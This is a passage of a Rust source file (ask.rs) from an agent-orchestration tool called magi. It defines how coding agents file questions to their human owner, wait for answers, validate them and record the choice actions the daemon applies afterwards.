Skip to main content

magi/
ask.rs

1//! Questions: what an agent does when the next decision is the owner's.
2//!
3//! An agent that reaches a fork it has no authority to take - which storage
4//! backend, whether a breaking change is acceptable, which of two readings of
5//! the task is meant - has two options. It can guess, and produce an
6//! implementation the owner throws away; or it can stop and ask. This module is
7//! the second option, and it is the reason the graph can be left alone
8//! overnight without also being left to invent product decisions.
9//!
10//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
11//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
12//! retry budget: an operator who asks twice would otherwise come back to a held
13//! task that never had a line of code judged.
14//!
15//! # Shape
16//!
17//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
18//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
19//! the question never offered is rejected, and it touches no disk. [`Questions`]
20//! owns all I/O and is constructed with its root, so a test drives a real store
21//! in a temp directory without touching the operator's real home.
22//!
23//! One question is one JSON file under [`Questions`]'s root, written atomically.
24//! Files rather than a database because three processes read and write these
25//! records - the run that asked, `magi web` serving the phone, and `magi answer`
26//! at a terminal - and a rename is the only cross-process atomic write that
27//! needs no coordination between them. It is also why the wait below polls: the
28//! answer arrives in a file written by a process this one has no channel to.
29//!
30//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting
31
32use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43/// On-disk format for a question. Bumped when a field's meaning changes, or -
44/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
45/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
46/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
47/// new field is added that a much older magi has no notion of at all.
48///
49/// The web UI is written against this shape by hand - there is no shared schema
50/// between the front end and this struct - so a field that changes meaning
51/// without a bump here is a UI that lies silently.
52///
53/// A file is refused only when its own `schema` is *greater* than this one -
54/// see [`read_path`] - never merely different: `#[serde(default)]` on every
55/// field added since 1 is what makes an older file's absence of `thread` mean
56/// "no conversation yet" rather than "unreadable", and a strict equality check
57/// would turn every bump into an upgrade that breaks reading yesterday's
58/// question files.
59/// Schema 8 adds optional local posting comparison data. Older questions use Markdown.
60/// Schema 9 preserves individual original triggers inside whole-field replacements.
61/// Schema 10 records the operator decision generation for built-in triage.
62/// Schema 11 binds merge decisions to the displayed PR and head.
63/// Schema 12 adds closed, daemon-applied maintenance choice actions.
64/// Schema 13 records an ended consultation without resolving its question.
65pub const SCHEMA: u32 = 13;
66
67/// How often the wait re-reads the question file.
68///
69/// Three seconds: the answer comes from a human on a phone, so the difference
70/// between three seconds and three hundred milliseconds is invisible to them,
71/// while a tight loop would `stat` and parse a file thousands of times per
72/// minute for a wait that routinely lasts hours. Nothing is held between polls -
73/// no lock, no open handle - because `magi web` and `magi answer` write the
74/// same file from other processes.
75const POLL: Duration = Duration::from_secs(3);
76
77/// How long an agent's reply may go unnoticed before it earns its own
78/// notification.
79///
80/// An operator reading the card when the agent replies does not need paging
81/// again for a conversation they are already in; one who walked away still
82/// needs the tap on the shoulder. Five minutes is a judgement call about that
83/// line, not a policy a repository has an opinion about, which is why it lives
84/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
85/// whether they are still looking at the phone, and neither can this build, so
86/// there is nothing for a per-repository setting to be *right* about.
87const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89/// How long the operator's notification command may run before it is killed.
90///
91/// A webhook that hangs must not hang the run. Twenty seconds is long enough
92/// for a slow HTTP round trip and short enough that the operator still gets the
93/// question filed and the run parked in a bounded time.
94const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96/// The longest a single `magi ask` invocation may block on the owner before
97/// it hands the wait back to whatever is running it, rather than to
98/// [`Question::abandon`].
99///
100/// `answer_timeout` defaults to a day, and that is a deadline for the
101/// *question*, not a budget the calling process is free to spend all at
102/// once: an agent CLI's own shell tool kills a command that runs much longer
103/// than this, and the child it kills is `magi ask` itself - the one thing
104/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
105/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
106/// out, and the seat's own summary said it had backgrounded the blocking
107/// `magi ask` and would "continue once the owner replies" - except nothing
108/// was left to notice the reply. The seat exited `completed`, the
109/// backgrounded child died with it, and the owner's eventual answer on the
110/// web UI had nobody left to read it.
111///
112/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
113/// and returns [`Wait::Pending`] if nothing happened, which is not a
114/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
115/// process the tool timeout has never seen. Four minutes leaves a ten-minute
116/// tool budget room for the CLI's own startup and the notification's round
117/// trip, while staying long enough that an owner who answers within the hour
118/// is not making an agent loop through fifteen slices to hear about it.
119const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121/// How long a lease stays believable after its last beat.
122///
123/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
124/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
125/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
126/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
127/// or about to be, and a lease that is merely between two calls must not be
128/// mistaken for that - the daemon waiter would start a second agent on a
129/// conversation the first is still in.
130pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132/// How long [`Questions::update`]'s lock may be held before it is presumed
133/// left behind by a writer that died.
134const LOCK_STALE: Duration = Duration::from_secs(10);
135
136/// Environment variable naming the base URL of the web UI, for `{url}`.
137///
138/// A run cannot discover this by itself: `magi web` is a different process,
139/// usually started by hand and often on a different machine on the tailnet, and
140/// the address it settled on (Tailscale IP, port, or the fallback it warned
141/// about) exists only in that process. So the operator names it once, in the
142/// environment `magi serve` runs in - `magi web --open` prints exactly the
143/// string to use on stdout. Unset means `{url}` expands to nothing rather than
144/// to a guess: a notification carrying a link to an address nothing is
145/// listening on is worse than one carrying no link at all.
146pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148/// Largest panel magi will store, html plus assets.
149///
150/// Checked as a total, before a single byte is written, because the failure
151/// this prevents is not a full disk but a half-copied panel: an agent that
152/// points at a 200 MB screen recording must get one clean error, not a
153/// directory holding the three small files that fitted before the copy died.
154/// Eight mebibytes is far more than a diff, a table and a handful of images
155/// need, and small enough that a phone on a hotel link still renders it.
156pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158/// Suffix of the directory holding one question's panel.
159///
160/// A sibling of `<id>.json` rather than a subdirectory of the store, so
161/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
162/// see it, and so a panel travels with the question it belongs to.
163const PANEL_DIR: &str = ".panel";
164
165/// The panel's entry point inside its directory.
166const PANEL_HTML: &str = "index.html";
167
168/// Scratch directory a panel is assembled in before it is swapped into place.
169const PANEL_TMP: &str = ".panel.tmp";
170
171/// The one asset filename rule, applied on write **and** on read.
172///
173/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
174/// containing `..`. The pattern is this narrow because the name arrives from
175/// two untrusted directions and is then joined onto a path: an agent naming
176/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
177/// character that could change what the join means is outside the set - `/`
178/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
179/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
180/// refused, which matters because on Windows `Path::join` with an absolute
181/// path *discards the whole prefix* and would serve any file on the disk.
182/// `..` is refused anywhere rather than only at the front so the rule reads
183/// the same as the sentence "no traversal" to anyone auditing it.
184///
185/// The length bound keeps a name inside every filesystem's limit, so a panel
186/// that stores cannot fail to store on the operator's other machine.
187pub fn valid_asset_name(name: &str) -> bool {
188    if name.is_empty() || name.len() > 64 || name.contains("..") {
189        return false;
190    }
191    let mut chars = name.chars();
192    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196/// Where a question is in its life.
197#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200    /// Asked, and waiting for the owner. A run is parked behind it.
201    Open,
202    /// The owner decided. [`Question::answer`] holds what they said.
203    Answered,
204    /// Nobody answered in time, or the question outlived the run that asked.
205    /// Kept rather than deleted: what was asked and never answered is the
206    /// evidence that the operator was the bottleneck.
207    Abandoned,
208}
209
210impl QuestionStatus {
211    /// Is a run still parked behind this question?
212    pub fn open(self) -> bool {
213        matches!(self, Self::Open)
214    }
215
216    /// Lowercase name, as it appears on disk and in the API.
217    pub fn as_str(self) -> &'static str {
218        match self {
219            Self::Open => "open",
220            Self::Answered => "answered",
221            Self::Abandoned => "abandoned",
222        }
223    }
224}
225
226/// What the owner said.
227///
228/// Two shapes rather than one string because the question decides which is
229/// admissible, and [`Question::answer`] enforces it. A phone that posts
230/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
231/// front end, and it is caught here rather than handed to an agent as fact.
232#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235    /// One of the offered choices, verbatim.
236    Choice(String),
237    /// Free text, for a question that offered no choices.
238    Text(String),
239}
240
241/// What the daemon does to the task behind a question when a particular
242/// choice is answered.
243///
244/// A closed set, attached to a choice by the asker (`magi ask --choice X
245/// --action X=resume`) and matched by the choice's exact text. Nothing here
246/// is ever derived from the wording of a label or of a free-text answer: a
247/// question without an action for the chosen label does nothing but answer.
248#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251    /// Resume this run of the task that owns the question.
252    Resume {
253        /// The run to continue. Must still be the task's latest run.
254        run: String,
255    },
256    /// Resume a named execution through the shared driver service.
257    ResumeRun {
258        /// Exact run ID; never a prefix resolved at application time.
259        run: String,
260    },
261    /// Release only the exact hold the question was filed about.
262    ReleaseTask {
263        /// Exact queue task ID.
264        task: String,
265        /// Start of the hold observed when filing the question.
266        held_at: jiff::Timestamp,
267        /// Exact hold reason (including its absence) observed when filing.
268        reason: Option<String>,
269    },
270    /// Rerun these failed workflow runs once, on this exact PR head.
271    RerunChecks {
272        /// Repository used for forge access.
273        repo: PathBuf,
274        /// Named pull request URL or number.
275        pr: String,
276        /// Commit whose checks the owner saw.
277        head: String,
278        /// Failed workflow run IDs, bounded to twenty.
279        runs: Vec<String>,
280    },
281    /// End a predecessor only after the shared driver judge proves it dead.
282    AbandonRun {
283        /// Exact predecessor run ID.
284        run: String,
285    },
286    /// Requeue the task as a fresh competition.
287    Requeue,
288    /// Hold the task until the operator releases it.
289    Hold,
290    /// Close the task as done.
291    Done,
292}
293
294impl ChoiceAction {
295    /// Queue owners affected by a named maintenance action.
296    pub fn targets(&self, task: &crate::queue::Task) -> bool {
297        match self {
298            Self::ReleaseTask { task: id, .. } => task.id == *id,
299            Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
300                task.runs.contains(run)
301            }
302            _ => false,
303        }
304    }
305
306    /// Maintenance effects are applied exclusively by the daemon.
307    pub fn maintenance(&self) -> bool {
308        matches!(
309            self,
310            Self::ResumeRun { .. }
311                | Self::ReleaseTask { .. }
312                | Self::RerunChecks { .. }
313                | Self::AbandonRun { .. }
314        )
315    }
316
317    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
318    /// `resume[:<run>]`, `requeue`, `hold` or `done`. A `resume` without a run takes
319    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
320    /// action; whether the label is one of the choices is the caller's check.
321    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
322        let split = spec
323            .find("={")
324            .map(|at| (&spec[..at], &spec[at + 1..]))
325            .or_else(|| spec.rsplit_once('='));
326        let Some((label, verb)) = split else {
327            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
328        };
329        let label = label.trim();
330        if label.is_empty() {
331            bail!("`--action {spec}` names no choice before `=`");
332        }
333        let verb = verb.trim();
334        if verb.starts_with('{') {
335            let action = serde_json::from_str(verb).context("parse typed choice action")?;
336            return Ok((label.to_owned(), action));
337        }
338        let action = match verb.split_once(':') {
339            Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
340                run: run.trim().into(),
341            },
342            Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
343                run: run.trim().into(),
344            },
345            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
346                run: run.trim().to_owned(),
347            },
348            None if verb == "resume" => {
349                if default_run.is_empty() {
350                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
351                }
352                Self::Resume {
353                    run: default_run.to_owned(),
354                }
355            }
356            None if verb == "requeue" => Self::Requeue,
357            None if verb == "hold" => Self::Hold,
358            None if verb == "done" => Self::Done,
359            _ => bail!(
360                "unknown action `{verb}` in `--action {spec}`; \
361                 use resume[:<run>], requeue, hold or done"
362            ),
363        };
364        Ok((label.to_owned(), action))
365    }
366
367    /// Stable aliases for internal recovery, independent of display labels.
368    /// Other effects still require their offered labels and existing consent.
369    pub fn matches_alias(&self, input: &str) -> bool {
370        let input = input.trim();
371        match self {
372            Self::Resume { run } => {
373                [
374                    "resume",
375                    "resume run",
376                    "resume-run",
377                    "再開",
378                    "実行再開",
379                    "実行を再開",
380                    "実行を再開する",
381                ]
382                .iter()
383                .any(|alias| input.eq_ignore_ascii_case(alias))
384                    || [
385                        format!("resume {run}"),
386                        format!("resume:{run}"),
387                        format!("resume run {run}"),
388                        format!("resume {}", short(run)),
389                        format!("resume run {}", short(run)),
390                    ]
391                    .iter()
392                    .any(|alias| input.eq_ignore_ascii_case(alias))
393            }
394            Self::Hold => ["hold", "keep-held", "keep held", "保留"]
395                .iter()
396                .any(|alias| input.eq_ignore_ascii_case(alias)),
397            _ => false,
398        }
399    }
400
401    /// Short human wording, for `magi show` and the card.
402    pub fn describe(&self) -> String {
403        match self {
404            Self::Resume { run } => format!("resume run {}", short(run)),
405            Self::ResumeRun { run } => format!("resume run {}", short(run)),
406            Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
407            Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
408            Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
409            Self::Requeue => "requeue the task".to_owned(),
410            Self::Hold => "hold the task until the operator releases it".to_owned(),
411            Self::Done => "mark the task done".to_owned(),
412        }
413    }
414}
415
416/// Parse every `--action` value against the offered `choices`, refusing a
417/// label the question does not offer (it could never fire).
418pub fn parse_actions(
419    specs: &[String],
420    choices: &[String],
421    default_run: &str,
422) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
423    let mut out = std::collections::BTreeMap::new();
424    for spec in specs {
425        let (label, action) = ChoiceAction::parse(spec, default_run)?;
426        if !choices.contains(&label) {
427            bail!(
428                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
429                choices.join(", ")
430            );
431        }
432        if out.insert(label.clone(), action).is_some() {
433            bail!("more than one --action for `{label}`");
434        }
435    }
436    Ok(out)
437}
438
439/// Who wrote one turn of a question's conversation.
440///
441/// Two values, not three: [`Question::thread`] is the record of a single
442/// question stopping and resuming, and the agent that resumes it is always
443/// the one that asked - a fresh consultant would have to be caught up on
444/// everything the first agent already knows, which is the round trip this
445/// module exists to avoid. The names and the wire spelling deliberately match
446/// [`crate::chat::Who`], which this module does not depend on: the two are the
447/// same idea in two products, and giving them the same shape is what lets the
448/// phone render both with one component.
449#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
450#[serde(rename_all = "lowercase")]
451pub enum Who {
452    /// The person the agent asked.
453    Operator,
454    /// The agent that asked, replying to a question of its own rather than
455    /// answering.
456    Agent,
457}
458
459/// One turn in a question's back-and-forth, after the question itself was
460/// asked.
461///
462/// The question's own `summary`/`detail`/`choices` already carry the agent's
463/// opening move, so a turn only exists from the moment the owner talks back -
464/// [`Question::thread`] starts empty and stays that way for the overwhelming
465/// majority of questions, which are answered on the first read.
466#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
467#[serde(deny_unknown_fields)]
468pub struct Turn {
469    /// Who said it.
470    pub who: Who,
471    /// What they said.
472    pub body: String,
473    /// When they said it.
474    pub at: Timestamp,
475    /// A deputy's own report beside a settle: side effects it caused and
476    /// requests it could not carry out. The deputy's claim, never checked by
477    /// magi, and kept apart from `body` so the verified "Settled as" line and
478    /// this self-report cannot be mistaken for each other.
479    #[serde(default, skip_serializing_if = "Option::is_none")]
480    pub note: Option<String>,
481}
482
483/// Who is keeping watch over an open question.
484#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
485#[serde(rename_all = "lowercase")]
486pub enum WaiterKind {
487    /// The `magi ask` process the agent started.
488    Asker,
489    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
490    /// own session because the asker is gone.
491    Daemon,
492    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
493    /// `magi serve` runs for a question the conductor filed, so that something
494    /// which remembers why it was asked is on the other end.
495    Deputy,
496}
497
498/// The follow-up seat a conductor question hands its wait to.
499///
500/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
501/// reply to its question would reach nobody. A deputy is a seat of its own -
502/// keyed `deputy-<question id>`, never the conductor's shared seat - that
503/// inherits what the conductor knew about this one question ([`Deputy::brief`])
504/// and blocks on it with `magi ask --wait`. Persisted on the question so a
505/// restarted daemon resumes the same CLI conversation instead of assuming it.
506///
507/// Written only through [`Questions::update`]: the owner's say and answer land
508/// on the same file.
509#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510pub struct Deputy {
511    /// Why the question was asked, what each choice leads to: the conductor's
512    /// context for this one question, handed to the deputy in its prompt.
513    pub brief: String,
514    /// The agent that holds the seat. Empty until the first start.
515    #[serde(default)]
516    pub agent: String,
517    /// The deputy's own conversation. `None` until the first start.
518    #[serde(default)]
519    pub seat: Option<crate::agent::SeatState>,
520    /// How many times a deputy turn was started for this question. Never reset
521    /// by a restart, so a deputy that keeps dying is bounded.
522    #[serde(default)]
523    pub starts: u32,
524}
525
526impl Deputy {
527    /// A deputy that has not started yet, holding `brief`.
528    pub fn new(brief: String) -> Self {
529        Self {
530            brief,
531            agent: String::new(),
532            seat: None,
533            starts: 0,
534        }
535    }
536}
537
538/// Seat name of the deputy for question `id`.
539pub fn deputy_seat_key(id: &str) -> String {
540    format!("deputy-{}", short(id))
541}
542
543/// The record's note of who was last known to be waiting.
544///
545/// A note, not a promise: nothing rewrites the question when a holder dies, so
546/// whether it still holds is read from the [`Lease`] beside it.
547#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
548pub struct Waiter {
549    /// Who took the wait.
550    pub kind: WaiterKind,
551    /// When they took it.
552    pub since: Timestamp,
553}
554
555/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
556///
557/// A sidecar rather than a field of the question because a holder beats every
558/// few seconds, and rewriting the question that often would race the phone's
559/// answer and say with lost updates. It is not `*.json`, so
560/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
561/// different things across platforms, while a beat that stopped is evidence on
562/// every one.
563#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
564pub struct Lease {
565    /// Who beat last.
566    pub kind: WaiterKind,
567    /// Their process id, for a human reading the file.
568    pub pid: u32,
569    /// When they beat last.
570    pub beat_at: Timestamp,
571}
572
573impl Lease {
574    /// Was the last beat recent enough to believe the holder is still there?
575    pub fn fresh(&self, now: Timestamp) -> bool {
576        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
577    }
578}
579
580/// One decision magi will not take on the owner's behalf.
581#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
582#[serde(deny_unknown_fields)]
583pub struct Question {
584    /// On-disk format version.
585    pub schema: u32,
586    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
587    /// task's, so the operator can paste any of them at any prefix argument.
588    pub id: String,
589    /// Run that is parked behind this question.
590    pub run: String,
591    /// Graph node the asking agent was working in, e.g. `implement`.
592    pub node: String,
593    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
594    /// this" decides whether the answer unblocks one candidate or all of them.
595    pub seat: String,
596    /// One line: the question itself. This is what a notification carries and
597    /// what the phone shows above the answer controls.
598    pub summary: String,
599    /// The reasoning behind the question, as markdown. May be long, may be
600    /// empty. Rendered as text nodes by the UI, never as markup.
601    pub detail: String,
602    /// Display-only comparison; never used to decide or construct a post.
603    #[serde(default, skip_serializing_if = "Option::is_none")]
604    pub posting_comparison: Option<crate::github_text::PostingComparison>,
605    /// The admissible answers. **Empty means free text** - that one condition
606    /// is the whole difference between the two kinds of question, on disk, in
607    /// the UI, and in [`Question::answer`]'s validation.
608    pub choices: Vec<String>,
609    /// Exact PR and head displayed to the owner. Absent on legacy questions.
610    #[serde(default)]
611    pub merge_target: Option<crate::merge_decision::Target>,
612    /// What the daemon does when a given choice is answered, keyed by the
613    /// choice's exact text. Empty for an ordinary question. A key is always
614    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
615    #[serde(default)]
616    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
617    /// Does this question have an agent-authored HTML panel beside it?
618    ///
619    /// Serialised with a default so a question written by an older magi - or
620    /// by hand - still deserialises rather than failing the whole store, which
621    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
622    /// open question the operator was looking for.
623    #[serde(default)]
624    pub panel: bool,
625    /// Files copied in beside the panel's html, by base name, sorted.
626    ///
627    /// The list exists so a reader knows what a panel is made of without
628    /// walking the directory, and every entry satisfies [`valid_asset_name`].
629    /// Sorted because it is compared - a question re-asked with the same
630    /// assets in a different argument order is not a different question.
631    #[serde(default)]
632    pub assets: Vec<String>,
633    /// Current state.
634    pub status: QuestionStatus,
635    /// When the agent asked.
636    pub asked_at: Timestamp,
637    /// Operator decision generation when a built-in triage question was filed.
638    #[serde(default)]
639    pub triage_generation: Option<u64>,
640    /// When the owner answered, if they did.
641    pub answered_at: Option<Timestamp>,
642    /// What they said.
643    pub answer: Option<Answer>,
644    /// Everything said after the question itself, oldest first: the owner
645    /// asking back, the agent replying, as many times as it takes before an
646    /// [`Answer`] lands.
647    ///
648    /// `#[serde(default)]` so a question written before this field existed -
649    /// every question on disk before this build - still deserialises as one
650    /// with no conversation yet, rather than failing [`Questions::list`]'s
651    /// read and quietly hiding an open question from the operator.
652    #[serde(default)]
653    pub thread: Vec<Turn>,
654    /// The `answer_timeout`, in seconds, that was in force when this question
655    /// was first asked. `0` means unrecorded - a question written before this
656    /// field existed, or one filed by a flow (land's merge-approval gate)
657    /// that never sets it because it never resumes a sliced wait.
658    ///
659    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
660    /// or the config default) is decided by the caller, after the question
661    /// already exists - so it starts at `0` here and whoever files a fresh
662    /// question sets it once, the same way [`Question::panel`] is set by
663    /// [`Questions::put_panel`] rather than by the constructor. It is never
664    /// touched again: `magi ask --wait` reads it as the one deadline it is
665    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
666    /// on a later call can never quietly extend or shrink the budget the
667    /// question was actually asked with.
668    #[serde(default)]
669    pub answer_timeout: u64,
670    /// The directory the asking agent was working in when it asked, so the
671    /// daemon waiter can resume that agent's session from where it stood.
672    /// `None` for a question no `magi ask` filed (land's approval gate, a
673    /// release notice, one written before this field existed): those have no
674    /// agent to hand anything back to, and the waiter leaves them alone.
675    #[serde(default)]
676    pub cwd: Option<String>,
677    /// Who was last known to be waiting - see [`Waiter`].
678    #[serde(default)]
679    pub waiter: Option<Waiter>,
680    /// How many entries of [`Question::thread`] the agent has been shown, by
681    /// the asking process printing them or by the waiter resuming the seat.
682    /// The owner's turn at an index at or past this has reached nobody yet.
683    #[serde(default)]
684    pub delivered_turns: usize,
685    /// Has the agent been told the [`Answer`]? The asker prints it as it
686    /// returns; the waiter delivers it when the asker was gone.
687    #[serde(default)]
688    pub answer_delivered: bool,
689    /// The follow-up seat waiting on this question, for a question the
690    /// conductor filed. `None` for every other question.
691    #[serde(default)]
692    pub deputy: Option<Deputy>,
693    /// Set once the owner handed this question to the chat it came from
694    /// ([`crate::consult::begin`]). The question stays open; this only records
695    /// that the chat was asked, so a second tap does not post it twice.
696    #[serde(default)]
697    pub consult: Option<ChatConsult>,
698    /// Persisted owner evidence for a standing conversation answer.
699    #[serde(default, skip_serializing_if = "Option::is_none")]
700    pub answer_authority: Option<crate::consult::AnswerAuthority>,
701    /// Owner decision outside the choices; ends consultation without answering.
702    #[serde(default, skip_serializing_if = "Option::is_none")]
703    pub consult_outcome: Option<crate::consult::ConsultOutcome>,
704    /// Independent task facts behind a conductor question. Answered questions
705    /// with unchanged facts must not be regenerated just to ask again.
706    #[serde(default)]
707    pub decision_context: Option<String>,
708}
709
710/// A question the owner passed to the chat conversation its task came from.
711#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
712pub struct ChatConsult {
713    /// The conversation the question was posted into.
714    pub talk: String,
715    /// When it was posted.
716    pub at: Timestamp,
717}
718
719impl Question {
720    /// Does `run` hold a task id rather than a run id? True for the
721    /// conductor's and the triage questions, which are filed about a task.
722    pub fn run_names_task(&self) -> bool {
723        matches!(
724            self.node.as_str(),
725            crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
726        )
727    }
728
729    /// Ask something. Persist it with [`Questions::put`], or hand it to
730    /// [`ask_and_wait`], which files it and waits.
731    pub fn new(
732        run: String,
733        node: String,
734        seat: String,
735        summary: String,
736        detail: String,
737        choices: Vec<String>,
738    ) -> Self {
739        Self {
740            schema: SCHEMA,
741            id: new_id(),
742            run,
743            node,
744            seat,
745            summary,
746            detail,
747            posting_comparison: None,
748            choices,
749            merge_target: None,
750            actions: std::collections::BTreeMap::new(),
751            panel: false,
752            assets: Vec::new(),
753            status: QuestionStatus::Open,
754            asked_at: Timestamp::now(),
755            triage_generation: None,
756            answered_at: None,
757            answer: None,
758            thread: Vec::new(),
759            answer_timeout: 0,
760            cwd: None,
761            waiter: None,
762            delivered_turns: 0,
763            answer_delivered: false,
764            deputy: None,
765            consult: None,
766            answer_authority: None,
767            consult_outcome: None,
768            decision_context: None,
769        }
770    }
771
772    /// Short form used in reports and on the phone, matching a run's short id.
773    pub fn short(&self) -> &str {
774        short(&self.id)
775    }
776
777    /// The action attached to the choice that was answered, if the question
778    /// is answered with a choice that carries one. Free text never matches.
779    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
780        match (&self.status, &self.answer) {
781            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
782            _ => None,
783        }
784    }
785
786    /// Does this question want free text rather than one of a set?
787    pub fn free_text(&self) -> bool {
788        self.choices.is_empty()
789    }
790
791    /// Resolve terminal aliases to the exact stored label before authorization.
792    /// Aliases describe structured effects, never translated display text.
793    pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
794        if self.free_text() || self.choices.iter().any(|c| c == reply) {
795            return Ok(reply);
796        }
797        if ChoiceAction::Hold.matches_alias(reply)
798            && let Some(label) = self
799                .choices
800                .iter()
801                .find(|label| crate::triage::contextual_keep_held(self, label))
802        {
803            return Ok(label);
804        }
805        let matches: Vec<_> = self
806            .actions
807            .iter()
808            .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
809            .collect();
810        match matches.as_slice() {
811            [(label, _)] => Ok(label.as_str()),
812            [] => bail!(
813                "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
814            ),
815            _ => bail!(
816                "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
817            ),
818        }
819    }
820
821    /// Record an answer. Rejects a choice the question does not offer, free
822    /// text on a multiple-choice question, an empty answer, and a second
823    /// answer.
824    ///
825    /// Every rejection here is a case where accepting would put a fabrication
826    /// in front of an agent as if the owner had said it. The messages are
827    /// distinct because the caller is a web handler that shows them verbatim,
828    /// and "that is not one of the choices" and "this question is multiple
829    /// choice" are different mistakes with different fixes.
830    pub fn answer(&mut self, answer: Answer) -> Result<()> {
831        match self.status {
832            QuestionStatus::Answered => bail!(
833                "question {} was already answered; the run has moved on and a \
834                 second answer would be a decision nobody acted on",
835                self.short()
836            ),
837            QuestionStatus::Abandoned => bail!(
838                "question {} was abandoned and the run behind it is gone",
839                self.short()
840            ),
841            QuestionStatus::Open => {}
842        }
843        let body = match &answer {
844            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
845        };
846        if body.trim().is_empty() {
847            bail!(
848                "question {} needs an answer; an empty one tells the agent \
849                 nothing and it would guess anyway",
850                self.short()
851            );
852        }
853        match &answer {
854            Answer::Choice(c) if self.free_text() => bail!(
855                "question {} asks for free text, so `{c}` cannot be a choice \
856                 it offered",
857                self.short()
858            ),
859            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
860                "`{c}` is not one of the choices question {} offers: {}",
861                self.short(),
862                self.choices.join(", ")
863            ),
864            Answer::Text(_) if !self.free_text() => bail!(
865                "question {} is multiple choice; answer with one of: {}",
866                self.short(),
867                self.choices.join(", ")
868            ),
869            _ => {}
870        }
871        if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
872            bail!("hold cannot execute a question action");
873        }
874        self.answered_at = Some(Timestamp::now());
875        self.answer = Some(answer);
876        self.status = QuestionStatus::Answered;
877        Ok(())
878    }
879
880    /// Give up on an answer, keeping the record of what was asked.
881    ///
